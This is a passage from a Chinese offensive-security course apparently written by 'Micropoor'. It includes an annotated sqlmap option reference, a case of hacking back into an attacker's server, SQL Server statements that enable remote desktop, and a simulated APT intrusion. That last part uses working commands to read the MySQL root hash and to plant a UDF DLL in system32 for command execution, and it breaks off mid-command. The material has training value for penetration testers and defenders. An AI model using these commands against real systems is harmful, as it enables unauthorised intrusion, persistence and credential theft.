本文档使用书栈(BookStack.CN)构建 29. 30. --random-agentUserandomlyselectedHTTPUser-Agentheadervalue 31. ##使用随机选定的HTTPUser-Agent头 32. 33. --host=HOSTHTTPHostheadervalue 34. ##HTTP主机头值 35. 36. --referer=REFERERHTTPRefererheadervalue 37. ##指定HTTPReferer头 38. 39. -HHEADER,--hea..Extraheader(e.g."X-Forwarded-For:127.0.0.1") 40. ##额外header 41. 42. --headers=HEADERSExtraheaders(e.g."Accept-Language:fr\\nETag:123") 43. ##额外header 44. 45. --auth-type=AUTH..HTTPauthenticationtype(Basic,Digest,NTLMorPKI)HTTP 46. ##认证类型(Basic,Digest,NTLMorPKI) 47. 48. --auth-cred=AUTH..HTTPauthenticationcredentials(name:password) 49. ##HTTP认证凭证(name:password) 50. 51. --auth-file=AUTH..HTTPauthenticationPEMcert/privatekeyfile 52. ##HTTP认证PEM认证/私钥文件 53. 54. --ignore-401IgnoreHTTPError401(Unauthorized) 55. ##忽略HTTP错误401 56. 57. --proxy=PROXYUseaproxytoconnecttothetargetURL 58. ##使用代理连接到目标网址 59. 60. --proxy-cred=PRO..Proxyauthenticationcredentials(name:password) 61. ##代理认证证书(name:password) 62. 63. --proxy-file=PRO..Loadproxylistfromafile 64. ##从文件中加载代理列表 65. 66. --ignore-proxyIgnoresystemdefaultproxysettings 67. ##忽略系统默认代理设置 68. 69. --torUseToranonymitynetwork 70. ##使用Tor匿名网络 第五课:工具介绍-Sqlmap -49- 本文档使用书栈(BookStack.CN)构建 71. 72. --tor-port=TORPORTSetTorproxyportotherthandefault 73. ##设置Tor代理端口而不是默认值 74. 75. --tor-type=TORTYPESetTorproxytype(HTTP(default),SOCKS4orSOCKS5) 76. ##设置Tor代理类型 77. 78. --check-torChecktoseeifTorisusedproperly 79. ##检查Tor是否正确使用 80. 81. --delay=DELAYDelayinsecondsbetweeneachHTTPrequest 82. ##每个HTTP请求之间的延迟(秒) 83. 84. --timeout=TIMEOUTSecondstowaitbeforetimeoutconnection(default30) 85. ##秒超时连接前等待(默认30) 86. 87. --retries=RETRIESRetrieswhentheconnectiontimeouts(default3) 88. ##连接超时时重试(默认值3) 89. 90. --randomize=RPARAMRandomlychangevalueforgivenparameter(s) 91. ##随机更改给定参数的值(s) 92. 93. --safe-url=SAFEURLURLaddresstovisitfrequentlyduringtesting 94. ##在测试期间频繁访问的URL地址 95. 96. --safe-post=SAFE..POSTdatatosendtoasafeURL 97. ##POST数据发送到安全URL 98. 99. --safe-req=SAFER..LoadsafeHTTPrequestfromafile 100. ##从文件加载安全HTTP请求 101. 102. --safe-freq=SAFE..TestrequestsbetweentwovisitstoagivensafeURL 103. ##在两次访问给定安全网址之间测试请求 104. 105. --skip-urlencodeSkipURLencodingofpayloaddata 106. ##跳过有效载荷数据的URL编码 107. 108. --csrf-token=CSR..Parameterusedtoholdanti-CSRFtoken 109. ##参数用于保存anti-CSRF令牌 110. 111. --csrf-url=CSRFURLURLaddresstovisittoextractanti-CSRFtoken 112. ##提取anti-CSRFURL地址访问令牌 第五课:工具介绍-Sqlmap -50- 本文档使用书栈(BookStack.CN)构建 113. 114. --force-sslForceusageofSSL/HTTPS 115. ##强制使用SSL/HTTPS 116. 117. --hppUseHTTPparameterpollutionmethod 118. ##使用HTTP参数pollution的方法 119. 120. --eval=EVALCODEEvaluateprovidedPythoncodebeforetherequest(e.g.评估请求 之前提供Python代码"importhashlib;id2=hashlib.md5(id).hexdigest()") 1. Optimization(优化): 2. 3. Theseoptionscanbeusedtooptimizetheperformanceofsqlmap 4. ##这些选项可用于优化sqlmap的性能 5. 6. -oTurnonalloptimizationswitches 7. ##开启所有优化开关 8. 9. --predict-outputPredictcommonqueriesoutput 10. ##预测常见的查询输出 11. 12. --keep-aliveUsepersistentHTTP(s)connections 13. ##使用持久的HTTP(S)连接 14. 15. --null-connectionRetrievepagelengthwithoutactualHTTPresponsebody 16. ##从没有实际的HTTP响应体中检索页面长度 17. 18. --threads=THREADSMaxnumberofconcurrentHTTP(s)requests(default1) 19. ##最大的HTTP(S)请求并发量(默认为1) 1. Injection(注入): 2. 3. Theseoptionscanbeusedtospecifywhichparameterstotestfor,provide custominjectionpayloadsandoptionaltamperingscripts 4. ##这些选项可以用来指定测试哪些参数,提供自定义的注入payloads和可选篡改脚本。 5. 6. -pTESTPARAMETERTestableparameter(s) 4、Optimization(优化) 5、Injection(注入) 第五课:工具介绍-Sqlmap -51- 本文档使用书栈(BookStack.CN)构建 7. ##可测试的参数(S) 8. 9. --skip=SKIPSkiptestingforgivenparameter(s) 10. ##跳过对给定参数的测试 11. 12. --skip-staticSkiptestingparametersthatnotappeartobedynamic 13. ##跳过测试不显示为动态的参数 14. 15. --param-exclude=..Regexptoexcludeparametersfromtesting(e.g."ses") 16. ##使用正则表达式排除参数进行测试(e.g."ses") 17. 18. --dbms=DBMSForceback-endDBMStothisvalue 19. ##强制后端的DBMS为此值 20. 21. --dbms-cred=DBMS..DBMSauthenticationcredentials(user:password) 22. ##DBMS认证凭证(user:password) 23. 24. --os=OSForceback-endDBMSoperatingsystemtothisvalue 25. ##强制后端的DBMS操作系统为这个值 26. 27. --invalid-bignumUsebignumbersforinvalidatingvalues 28. ##使用大数字使值无效 29. 30. --invalid-logicalUselogicaloperationsforinvalidatingvalues 31. ##使用逻辑操作使值无效 32. 33. --invalid-stringUserandomstringsforinvalidatingvalues 34. ##使用随机字符串使值无效 35. 36. --no-castTurnoffpayloadcastingmechanism 37. ##关闭有效载荷铸造机制 38. 39. --no-escapeTurnoffstringescapingmechanism 40. ##关闭字符串转义机制 41. 42. --prefix=PREFIXInjectionpayloadprefixstring 43. ##注入payload字符串前缀 44. 45. --suffix=SUFFIXInjectionpayloadsuffixstring 46. ##注入payload字符串后缀 47. 48. --tamper=TAMPERUsegivenscript(s)fortamperinginjectiondata 第五课:工具介绍-Sqlmap -52- 本文档使用书栈(BookStack.CN)构建 49. ##使用给定的脚本(S)篡改注入数据 1. Detection(检测): 2. Theseoptionscanbeusedtocustomizethedetectionphase 3. ##这些选项可以用来指定在SQL盲注时如何解析和比较HTTP响应页面的内容。 4. 5. --level=LEVELLevelofteststoperform(1-5,default1) 6. ##执行测试的等级(1-5,默认为1) 7. 8. --risk=RISKRiskofteststoperform(1-3,default1) 9. ##执行测试的风险(0-3,默认为1) 10. 11. --string=STRINGStringtomatchwhenqueryisevaluatedtoTrue 12. ##查询时有效时在页面匹配字符串 13. 14. --not-string=NOT..StringtomatchwhenqueryisevaluatedtoFalse 15. ##当查询求值为无效时匹配的字符串 16. 17. --regexp=REGEXPRegexptomatchwhenqueryisevaluatedtoTrue 18. ##查询时有效时在页面匹配正则表达式 19. 20. --code=CODEHTTPcodetomatchwhenqueryisevaluatedtoTrue 21. ##当查询求值为True时匹配的HTTP代码 22. 23. --text-onlyComparepagesbasedonlyonthetextualcontent 24. ##仅基于在文本内容比较网页 25. 26. --titlesComparepagesbasedonlyontheirtitles 27. ##仅根据他们的标题进行比较 1. Techniques(技巧): 2. TheseoptionscanbeusedtotweaktestingofspecificSQLinjectiontechniques 3. ##这些选项可用于调整具体的SQL注入测试。 4. 5. --technique=TECHSQLinjectiontechniquestouse(default"BEUSTQ") 6. ##SQL注入技术测试(默认BEUST) 7. 6、Detection(检测) 7、Techniques(技巧) 第五课:工具介绍-Sqlmap -53- 本文档使用书栈(BookStack.CN)构建 8. --time-sec=TIMESECSecondstodelaytheDBMSresponse(default5) 9. ##DBMS响应的延迟时间(默认为5秒) 10. 11. --union-cols=UCOLSRangeofcolumnstotestforUNIONquerySQLinjection 12. ##定列范围用于测试UNION查询注入 13. 14. --union-char=UCHARCharactertouseforbruteforcingnumberofcolumns 15. ##用于暴力猜解列数的字符 16. 17. --union-from=UFROMTabletouseinFROMpartofUNIONquerySQLinjection 18. ##要在UNION查询SQL注入的FROM部分使用的表 19. 20. --dns-domain=DNS..DomainnameusedforDNSexfiltrationattack 21. ##域名用于DNS漏出攻击 22. 23. --second-order=S..ResultingpageURLsearchedforsecond-orderresponse 24. ##生成页面的URL搜索为second-order响应 1. Fingerprint(指纹): 2. 3. -f,--fingerprintPerformanextensiveDBMSversionfingerprint 4. ##执行检查广泛的DBMS版本指纹 1. Enumeration(枚举): 2. 3. Theseoptionscanbeusedtoenumeratetheback-enddatabasemanagementsystem information,structureanddatacontainedinthetables.Moreoveryoucanrun yourownSQLstatements 4. ##这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行您自己的 SQL语句。 5. 6. -a,--allRetrieveeverything 7. ##检索一切 8. 9. -b,--bannerRetrieveDBMSbanner 10. ##检索数据库管理系统的标识 11. 8、Fingerprint(指纹) 9、Enumeration(枚举) 第五课:工具介绍-Sqlmap -54- 本文档使用书栈(BookStack.CN)构建 12. --current-userRetrieveDBMScurrentuser 13. ##检索数据库管理系统的标识 14. 15. --current-dbRetrieveDBMScurrentdatabase 16. ##检索数据库管理系统当前数据库 17. 18. -hostnameRetrieveDBMSserverhostname 19. ##检索数据库服务器的主机名 20. 21. --is-dbaDetectiftheDBMScurrentuserisDBA 22. ##检测DBMS当前用户是否DBA 23. 24. --usersEnumerateDBMSusers 25. ##枚举数据库管理系统用户 26. 27. --passwordsEnumerateDBMSuserspasswordhashes 28. ##枚举数据库管理系统用户密码哈希 29. 30. --privilegesEnumerateDBMSusersprivileges 31. ##枚举数据库管理系统用户的权限 32. 33. --rolesEnumerateDBMSusersroles 34. ##枚举数据库管理系统用户的角色 35. 36. --dbsEnumerateDBMSdatabases 37. ##枚举数据库管理系统数据库 38. 39. --tablesEnumerateDBMSdatabasetables 40. ##枚举的DBMS数据库中的表 41. 42. --columnsEnumerateDBMSdatabasetablecolumns 43. ##枚举DBMS数据库表列 44. 45. --schemaEnumerateDBMSschema 46. ##枚举数据库架构 47. 48. --countRetrievenumberofentriesfortable(s) 49. ##检索表的条目数 50. 51. --dumpDumpDBMSdatabasetableentries 52. ##转储数据库管理系统的数据库中的表项 53. 第五课:工具介绍-Sqlmap -55- 本文档使用书栈(BookStack.CN)构建 54. --dump-allDumpallDBMSdatabasestablesentries 55. ##转储数据库管理系统的数据库中的表项 56. 57. --searchSearchcolumn(s),table(s)and/ordatabasename(s) 58. ##搜索列(S),表(S)和/或数据库名称(S) 59. 60. --commentsRetrieveDBMScomments 61. ##检索数据库的comments(注释、评论) 62. 63. -DDBDBMSdatabasetoenumerate 64. ##要进行枚举的数据库名 65. 66. -TTBLDBMSdatabasetable(s)toenumerate 67. ##要进行枚举的数据库表 68. 69. -CCOLDBMSdatabasetablecolumn(s)toenumerate 70. ##要进行枚举的数据库列 71. 72. -XEXCLUDECOLDBMSdatabasetablecolumn(s)tonotenumerate 73. ##要不进行枚举的数据库列 74. 75. -UUSERDBMSusertoenumerate 76. ##用来进行枚举的数据库用户 77. 78. --exclude-sysdbsExcludeDBMSsystemdatabaseswhenenumeratingtables 79. ##枚举表时排除系统数据库 80. 81. --pivot-column=P..Pivotcolumnname 82. ##主列名称 83. 84. --where=DUMPWHEREUseWHEREconditionwhiletabledumping 85. ##使用WHERE条件进行表转储 86. 87. --start=LIMITSTARTFirstqueryoutputentrytoretrieve 88. ##第一个查询输出进入检索 89. 90. --stop=LIMITSTOPLastqueryoutputentrytoretrieve 91. ##最后查询的输出进入检索 92. 93. --first=FIRSTCHARFirstqueryoutputwordcharactertoretrieve 94. ##第一个查询输出字的字符检索 95. 第五课:工具介绍-Sqlmap -56- 本文档使用书栈(BookStack.CN)构建 96. --last=LASTCHARLastqueryoutputwordcharactertoretrieve 97. ##最后查询的输出字字符检索 98. 99. --sql-query=QUERYSQLstatementtobeexecuted 100. ##要执行的SQL语句 101. 102. --sql-shellPromptforaninteractiveSQLshell 103. ##提示交互式SQL的shell 104. 105. --sql-file=SQLFILEExecuteSQLstatementsfromgivenfile(s) 106. ##从给定文件执行SQL语句 1. Bruteforce(蛮力): 2. 3. Theseoptionscanbeusedtorunbruteforcechecks 4. ##这些选项可以被用来运行蛮力检查。 5. 6. --common-tablesCheckexistenceofcommontables 7. ##检查存在共同表 8. 9. --common-columnsCheckexistenceofcommoncolumns 10. ##检查存在共同列 1. User-definedfunctioninjection(用户自定义函数注入): 2. 3. Theseoptionscanbeusedtocreatecustomuser-definedfunctions 4. ##这些选项可以用来创建用户自定义函数。 5. 6. --udf-injectInjectcustomuser-definedfunctions 7. ##注入用户自定义函数 8. 9. --shared-lib=SHLIBLocalpathofthesharedlibrary 10. ##共享库的本地路径 10、BruteForce(蛮力) 11、User-definedfunctioninjection(用户自定义函数注 入) 12、Filesystemaccess(访问文件系统) 第五课:工具介绍-Sqlmap -57- 本文档使用书栈(BookStack.CN)构建 1. Filesystemaccess(访问文件系统): 2. Theseoptionscanbeusedtoaccesstheback-enddatabasemanagementsystem underlyingfilesystem 3. ##这些选项可以被用来访问后端数据库管理系统的底层文件系统。 4. 5. --file-read=RFILEReadafilefromtheback-endDBMSfilesystem 6. ##从后端的数据库管理系统文件系统读取文件 7. 8. --file-write=WFILEWritealocalfileontheback-endDBMSfilesystem 9. ##编辑后端的数据库管理系统文件系统上的本地文件 10. 11. --file-dest=DFILEBack-endDBMSabsolutefilepathtowriteto 12. ##后端的数据库管理系统写入文件的绝对路径 1. 2. Operatingsystemaccess(操作系统访问): 3. 4. Theseoptionscanbeusedtoaccesstheback-enddatabasemanagementsystem underlyingoperatingsystem 5. ##这些选项可以用于访问后端数据库管理系统的底层操作系统。 6. 7. --os-cmd=OSCMDExecuteanoperatingsystemcommand 8. ##执行操作系统命令 9. 10. --os-shellPromptforaninteractiveoperatingsystemshell 11. ##交互式的操作系统的shell 12. 13. --os-pwnPromptforanOOBshell,MeterpreterorVNC 14. ##获取一个OOBshell,meterpreter或VNC 15. 16. --os-smbrelayOneclickpromptforanOOBshell,MeterpreterorVNC 17. ##一键获取一个OOBshell,meterpreter或VNC 18. 19. --os-bofStoredprocedurebufferoverflowexploitation 20. ##存储过程缓冲区溢出利用 21. 22. --priv-escDatabaseprocessuserprivilegeescalation 23. ##数据库进程用户权限提升 24. 13、Operatingsystemaccess(操作系统访问) 第五课:工具介绍-Sqlmap -58- 本文档使用书栈(BookStack.CN)构建 25. --msf-path=MSFPATHLocalpathwhereMetasploitFrameworkisinstalled MetasploitFramework 26. ##本地的安装路径 27. 28. --tmp-path=TMPPATHRemoteabsolutepathoftemporaryfilesdirectory 29. ##远程临时文件目录的绝对路径 1. Windowsregistryaccess(Windows注册表访问): 2. 3. Theseoptionscanbeusedtoaccesstheback-enddatabasemanagementsystem Windowsregistry 4. ##这些选项可以被用来访问后端数据库管理系统Windows注册表。 5. 6. --reg-readReadaWindowsregistrykeyvalue 7. ##读一个Windows注册表项值 8. 9. --reg-addWriteaWindowsregistrykeyvaluedata 10. ##写一个Windows注册表项值数据 11. 12. --reg-delDeleteaWindowsregistrykeyvalue 13. ##删除Windows注册表键值 14. 15. --reg-key=REGKEYWindowsregistrykey 16. ##Windows注册表键 17. 18. --reg-value=REGVALWindowsregistrykeyvalue 19. ##Windows注册表项值 20. 21. --reg-data=REGDATAWindowsregistrykeyvaluedata 22. ##Windows注册表键值数据 23. 24. --reg-type=REGTYPEWindowsregistrykeyvaluetype 25. ##Windows注册表项值类型 1. General(一般): 2. 3. Theseoptionscanbeusedtosetsomegeneralworkingparameters 14、Windowsregistryaccess(Windows注册表访问) 15、General(一般) 第五课:工具介绍-Sqlmap -59- 本文档使用书栈(BookStack.CN)构建 4. ##这些选项可以用来设置一些一般的工作参数。 5. 6. -sSESSIONFILELoadsessionfromastored(.sqlite)file 7. ##保存和恢复检索会话文件的所有数据 8. 9. -tTRAFFICFILELogallHTTPtrafficintoatextualfile 10. ##记录所有HTTP流量到一个文本文件中 11. 12. --batchNeveraskforuserinput,usethedefaultbehaviour 13. ##从不询问用户输入,使用所有默认配置。 14. 15. --binary-fields=..Resultfieldshavingbinaryvalues(e.g."digest") 16. ##具有二进制值的结果字段 17. 18. --charset=CHARSETForcecharacterencodingusedfordataretrieval 19. ##强制用于数据检索的字符编码 20. 21. --crawl=CRAWLDEPTHCrawlthewebsitestartingfromthetargetURL 22. ##从目标网址开始抓取网站 23. 24. --crawl-exclude=..Regexptoexcludepagesfromcrawling(e.g."logout") 25. ##正则表达式排除网页抓取 26. 27. --csv-del=CSVDELDelimitingcharacterusedinCSVoutput(default",") 28. ##分隔CSV输出中使用的字符 29. 30. --dump-format=DU..Formatofdumpeddata(CSV(default),HTMLorSQLITE) 31. ##转储数据的格式 32. 33. --etaDisplayforeachoutputtheestimatedtimeofarrival 34. ##显示每个输出的预计到达时间 35. 36. --flush-sessionFlushsessionfilesforcurrenttarget 37. ##刷新当前目标的会话文件 38. 39. --formsParseandtestformsontargetURL 40. ##在目标网址上解析和测试表单 41. 42. --fresh-queriesIgnorequeryresultsstoredinsessionfile 43. ##忽略在会话文件中存储的查询结果 44. 45. --hexUseDBMShexfunction(s)fordataretrieval 第五课:工具介绍-Sqlmap -60- 本文档使用书栈(BookStack.CN)构建 46. ##使用DBMShex函数进行数据检索 47. 48. --output-dir=OUT..Customoutputdirectorypath 49. ##自定义输出目录路径 50. 51. --parse-errorsParseanddisplayDBMSerrormessagesfromresponses 52. ##解析和显示响应中的DBMS错误消息 53. 54. --save=SAVECONFIGSaveoptionstoaconfigurationINIfile 55. ##保存选项到INI配置文件 56. 57. --scope=SCOPERegexptofiltertargetsfromprovidedproxylog 58. ##使用正则表达式从提供的代理日志中过滤目标 59. 60. --test-filter=TE..Selecttestsbypayloadsand/ortitles(e.g.ROW) 61. ##根据有效负载和/或标题(e.g.ROW)选择测试 62. 63. --test-skip=TEST..Skiptestsbypayloadsand/ortitles(e.g.BENCHMARK) 64. ##根据有效负载和/或标题跳过测试(e.g.BENCHMARK) 65. 66. --updateUpdatesqlmap 67. ##更新SqlMap 1. Miscellaneous(杂项): 2. 3. -zMNEMONICSUseshortmnemonics(e.g."flu,bat,ban,tec=EU") 4. ##使用简短的助记符 5. 6. --alert=ALERTRunhostOScommand(s)whenSQLinjectionisfound 7. ##在找到SQL注入时运行主机操作系统命令 8. 9. --answers=ANSWERSSetquestionanswers(e.g."quit=N,follow=N") 10. ##设置问题答案 11. 12. --beepBeeponquestionand/orwhenSQLinjectionisfound 13. ##发现SQL注入时提醒 14. 15. --cleanupCleanuptheDBMSfromsqlmapspecificUDFandtablesSqlMap 16. ##具体的UDF和表清理DBMS 17. 16、Miscellaneous(杂项) 第五课:工具介绍-Sqlmap -61- 本文档使用书栈(BookStack.CN)构建 18. --dependenciesCheckformissing(non-core)sqlmapdependencies 19. ##检查是否缺少(非内核)sqlmap依赖关系 20. 21. --disable-coloringDisableconsoleoutputcoloring 22. ##禁用控制台输出颜色 23. 24. --gpage=GOOGLEPAGEUseGoogledorkresultsfromspecifiedpagenumber 25. ##使用Googledork结果指定页码 26. 27. --identify-wafMakeathoroughtestingforaWAF/IPS/IDSprotection 28. ##对WAF/IPS/IDS保护进行全面测试 29. 30. --skip-wafSkipheuristicdetectionofWAF/IPS/IDSprotection 31. ##跳过启发式检测WAF/IPS/IDS保护 32. 33. --mobileImitatesmartphonethroughHTTPUser-Agentheader 34. ##通过HTTPUser-Agent标头模仿智能手机 35. 36. --offlineWorkinofflinemode(onlyusesessiondata) 37. ##在离线模式下工作(仅使用会话数据) 38. 39. --page-rankDisplaypagerank(PR)forGoogledorkresults 40. ##Googledork结果显示网页排名(PR) 41. 42. --purge-outputSafelyremoveallcontentfromoutputdirectory 43. ##安全地从输出目录中删除所有内容 44. 45. --smartConductthoroughtestsonlyifpositiveheuristic(s) 46. ##只有在正启发式时才进行彻底测试 47. 48. --sqlmap-shellPromptforaninteractivesqlmapshell 49. ##提示交互式sqlmapshell 50. 51. --wizardSimplewizardinterfaceforbeginnerusers 52. ##给初级用户的简单向导界面 —ByMicropoor 第五课:工具介绍-Sqlmap -62- 本文档使用书栈(BookStack.CN)构建 某厂商通过日志分析发现可疑IP,但是日志记录里显示该IP的行为是频繁地登陆内网,并无发现有 攻击的迹象,因此无法下手进行内网安全的加固和清除后门。而且显示的是外国IP,无法确定是真实 IP还是代理IP,因此无法定位攻击者的地理位置。 思路: 反入侵得到攻击者机器权限->入侵现场还原,摸清入侵思路->并且须知入侵者的相关后门遗留, 以便处理后门->抓取入侵者的真实IP获得地理位置->并按照攻击者的攻击路线加固相关漏洞安 全。 1. 某厂商日志:该IP为韩国,login状态全部为success 反攻的一次溯源—项目实战3 事件过程 一、日志分析 第六课:反攻的一次溯源—项目实战3 -63- 本文档使用书栈(BookStack.CN)构建 221-ip成功,进入内网多个IP。但无其他记录,如过程,手法。无法安全加固客户内网。无法 分析出哪里出现问题,只能找出起始被入侵成功的IP,需要得到攻击者的电脑权限,还原攻击过 程,才可得知被攻击者的弱点并加固。 第六课:反攻的一次溯源—项目实战3 -64- 本文档使用书栈(BookStack.CN)构建 在tns日志中,oracle相关存储得到入侵者相关的存储利用。如downfile‐smss.exe,地址为 115.231.60.76。 此时,我们得到2个攻击者IP,1个样本 IP分别为韩国,河南,样本1为:smss.exe 1. 刺探攻击者的服务器相关信息: 起初连接到入侵者IP的服务器,IP归属地为韩国,并且服务器也为韩文,非中国渠道购买,起初 以为攻击者为国外人员。 二、现场还原 第六课:反攻的一次溯源—项目实战3 -65- 本文档使用书栈(BookStack.CN)构建 但当刺探攻击者服务器21端口时发现并非真正的“国外黑客” 于是,暂时定为攻击者为国内,需要摸查的IP锁定为中国范围内IP 整体思路临时改为:需要得到该服务器的权限,查看所有登陆成功日志,找出IP以及对应时间。 入侵思路临时改为:该服务器为懂攻防人员所拥有,尽可能在该服务器不添加任何账号或留有明显痕 迹。 第六课:反攻的一次溯源—项目实战3 -66- 本文档使用书栈(BookStack.CN)构建 由于韩国服务器此段有DHCP记录查看应用,该应用存在loadfile漏洞,并且得知目标服务器存在 shift后门。 攻击思路为:16进制读取shift后门,并unhex本地还原exe,得到样本2,本地分析该样本,从而 不留痕迹得得到攻击者服务器。 至此:目前我们得到2个攻击者IP,2个样本,IP分别为韩国,河南,样本分别为smss.exe与 sethc.exe。 样本1:生成替换dll。并且自启动,反链接到某IP的8080端口,并且自删除。为远控特征。 远控样本md5值: 三、本地样本分析 第六课:反攻的一次溯源—项目实战3 -67- 本文档使用书栈(BookStack.CN)构建 样本2:shift后门,VB编译,并且未加壳。思路为,反汇编得到样本密码以及软件工作流程。 Shift后门样本MD5: 第六课:反攻的一次溯源—项目实战3 -68- 本文档使用书栈(BookStack.CN)构建 特征为密码输入错误,呼出msgbox 第六课:反攻的一次溯源—项目实战3 -69- 本文档使用书栈(BookStack.CN)构建 第六课:反攻的一次溯源—项目实战3 -70- 本文档使用书栈(BookStack.CN)构建 得到该程序相关工作流程,当输入密码正确时,调出taskmgr.exe(任务管理器)以及cmd.exe 四、测试并取证 第六课:反攻的一次溯源—项目实战3 -71- 本文档使用书栈(BookStack.CN)构建 1. 输入得到的密码。 当密码正确时呼出相关进程,并且得到system权限。 2. 取证以及样本截留: 攻击者真实IP以及对应时间: 第六课:反攻的一次溯源—项目实战3 -72- 本文档使用书栈(BookStack.CN)构建 第六课:反攻的一次溯源—项目实战3 -73- 本文档使用书栈(BookStack.CN)构建 得到真实入侵者的IP归属地为:四川省眉山市电信 并且桌面截图: 再该服务器上留有大量以地名名为的txt文本(如beijing.txt)。文本内容为IP,部分内容为 账号,密码,ip。其中dongbei.txt(被攻击者归属地为东北)找到某政府对应IP。 第六课:反攻的一次溯源—项目实战3 -74- 本文档使用书栈(BookStack.CN)构建 第六课:反攻的一次溯源—项目实战3 -75- 本文档使用书栈(BookStack.CN)构建 至此通过该服务器的桌面相关软件以及相关攻击者本文记录,得知攻击者的入侵思路,以及部分后门留 存位置特征等。以此回头来加固某政府内网安全以及切入点。 —ByMicropoor 第六课:反攻的一次溯源—项目实战3 -76- 本文档使用书栈(BookStack.CN)构建 1:表示关闭 0:表示开启 1. EXECmaster..xp_regread'HKEY_LOCAL_MACHINE', 2. 'SYSTEM\CurrentControlSet\Control\TerminalServer', 3. 'fDenyTSConnections' SqlServer常用操作远程桌面语句 1、是否开启远程桌面 第七课:sqlserver常用操作远程桌面语句 -77- 本文档使用书栈(BookStack.CN)构建 1. EXECmaster..xp_regread'HKEY_LOCAL_MACHINE', 2. 'SYSTEM\CurrentControlSet\Control\TerminalServer\WinStations\RDP-Tcp', 3. 'PortNumber' 1. EXECmaster.dbo.xp_regwrite'HKEY_LOCAL_MACHINE', 2、读取远程桌面端口 3、开启远程桌面 第七课:sqlserver常用操作远程桌面语句 -78- 本文档使用书栈(BookStack.CN)构建 2. 'SYSTEM\CurrentControlSet\Control\TerminalServer', 3. 'fDenyTSConnections','REG_DWORD',0; reg文件开启远程桌面: 1. WindowsRegistryEditorVersion 5.00HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TerminalServer] 2. "fDenyTSConnections"=dword:00000000[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control Tcp] 3. "PortNumber"=dword:00000d3d //// 保存micropoor.reg,并执行regedit/smicropoor.reg 注:如果第一次开启远程桌面,部分需要配置防火墙规则允许远程端口。 1. netshadvfirewallfirewalladdrulename="RemoteDesktop"protocol=TCP 2. dir=inlocalport=3389action=allow 1. EXECmaster.dbo.xp_regwrite'HKEY_LOCAL_MACHINE', 2. 'SYSTEM\CurrentControlSet\Control\TerminalServer', 3. 'fDenyTSConnections','REG_DWORD',1; —ByMicropoor 4、关闭远程桌面 第七课:sqlserver常用操作远程桌面语句 -79- 本文档使用书栈(BookStack.CN)构建 拿到该公司明年计划,拿到该公司今年报表,并且摸清该公司组织架构。盈利情况。 第一个shell为目标主站shell,为08R2,提权后遂改变主意。由于是以APT为主,并不打算以主站 权限为点渗透,动作太大。不利于长期跟踪。改变为搜集情报为主。配合下一步工作。 主站为2008R2: 模拟诉求任务攻击 模拟任务: 1、主站Shell 第八课:模拟诉求任务攻击 -80- 本文档使用书栈(BookStack.CN)构建 主站端口为: 搜集端口为该公司的其他分站提供下一步探测。 进程搜集:红色为重点搜集源 1. >D:\>tasklist 2. 3. 映像名稱PID工作階段名稱工作階段#RAM使用量 4. 5. ======================================================================== 2、信息搜集 第八课:模拟诉求任务攻击 -81- 本文档使用书栈(BookStack.CN)构建 6. SystemIdleProcess0024K 7. System40372K 8. smss.exe29601,448K 9. csrss.exe40006,968K 10. wininit.exe45205,636K 11. csrss.exe460112,460K 12. winlogon.exe49616,484K 13. services.exe556010,392K 14. lsass.exe572022,076K 15. lsm.exe58407,104K 16. svchost.exe676010,840K 17. svchost.exe76009,492K 18. LogonUI.exe852119,632K 19. svchost.exe864021,188K 20. svchost.exe904034,904K 21. svchost.exe944013,476K 22. svchost.exe996013,512K 23. svchost.exe168019,480K 24. svchost.exe648012,348K 25. spoolsv.exe1080016,672K 26. armsvc.exe112404,208K 27. apnmcp.exe117205,832K 28. svchost.exe119609,228K 29. aspnet_state.exe122408,264K 30. FileZillaServer.exe134407,876K 31. svchost.exe1380010,408K 32. inetinfo.exe1412031,680K 33. EngineServer.exe14480568K 34. FrameworkService.exe1548019,580K 35. VsTskMgr.exe161201,724K 36. MDM.EXE168006,652K 37. naPrdMgr.exe169202,116K 38. mfevtps.exe17200992K 39. sqlservr.exe1760013,284K 40. svchost.exe184403,452K 41. snmp.exe186809,264K 42. sqlwriter.exe190407,440K 43. vmtoolsd.exe1976017,012K 44. snmp.exe198803,164K 45. conhost.exe199604,784K 46. vmware-converter-a.exe2068031,460K 47. vmware-converter.exe2180038,176K 第八课:模拟诉求任务攻击 -82- 本文档使用书栈(BookStack.CN)构建 48. vmware-converter.exe2228032,828K 49. svchost.exe2288014,152K 50. McShield.exe2320089,332K 51. mfeann.exe246805,860K 52. conhost.exe247603,380K 53. w3wp.exe25920160,760K 54. w3wp.exe28120463,872K 55. svchost.exe345209,656K 56. svchost.exe410406,384K 57. dllhost.exe4252012,192K 58. msdtc.exe442408,708K 59. svchost.exe4196034,760K 60. w3wp.exe5604012,632K 61. TrustedInstaller.exe4500011,788K 62. cmd.exe629203,932K 63. conhost.exe638404,476K 64. tasklist.exe149606,064K 65. WmiPrvSE.exe550807,272K 账户搜集:(已处理) 重要路径搜集: (无图,路径搜集为未来可能需要dumpfile做准备) 数据库密码搜集: (无图,密码搜集为未来可能需要碰撞做准备) 杀毒软件搜集:强力的麦咖啡 管理员习惯搜集: (无图,尽量避免与admin的fvsf)(面对面的vs是不是这么拼写?) 其他搜集: 第八课:模拟诉求任务攻击 -83- 本文档使用书栈(BookStack.CN)构建 (由于是第一个shell,具体的已经忘记了) 第二台服务器权限:windowx862003 根据上一台的服务器情报搜集很快得到了一台win03 IP.3 3、第二台服务器权限 第八课:模拟诉求任务攻击 -84- 本文档使用书栈(BookStack.CN)构建 为一台开发机。目标仅支持asp,无其他脚本支持。但是服务器中安装有mysql,php等。并且无 asptomysqlDeviceDriveIIS配置中也并不支持php。msf反弹后,继续搜集情报。 1. typeC:\MySQL\MySQLServer5.0\data\mysql\user.MYD 得到roothash 在实际情况中,交互的shell下运行 mysql-uroot-pxxx 无法继续交互,需要参数e解决这个 问题。 1. mysql-uroot-pxxxxxxxxmysql-e"createtablea(cmdLONGBLOB);" 2. mysql-uroot-pxxxxxxxxmysql-e"insertintoa(cmd)values (hex(load_file('C:\\xxxx\\xxxx.dll')));" 3. mysql-uroot-pxxxxxxxxmysql-e"SELECTunhex(cmd)FROMaINTODUMPFILE 4. 'c:\\windows\\system32\\xxxx.dll';" 5. mysql-uroot-pxxxxxxxxmysql-e"CREATEFUNCTIONshellRETURNSSTRINGSONAME 'udf.dll'" 6. mysql-uroot-pxxxxxxxxmysql-e"select 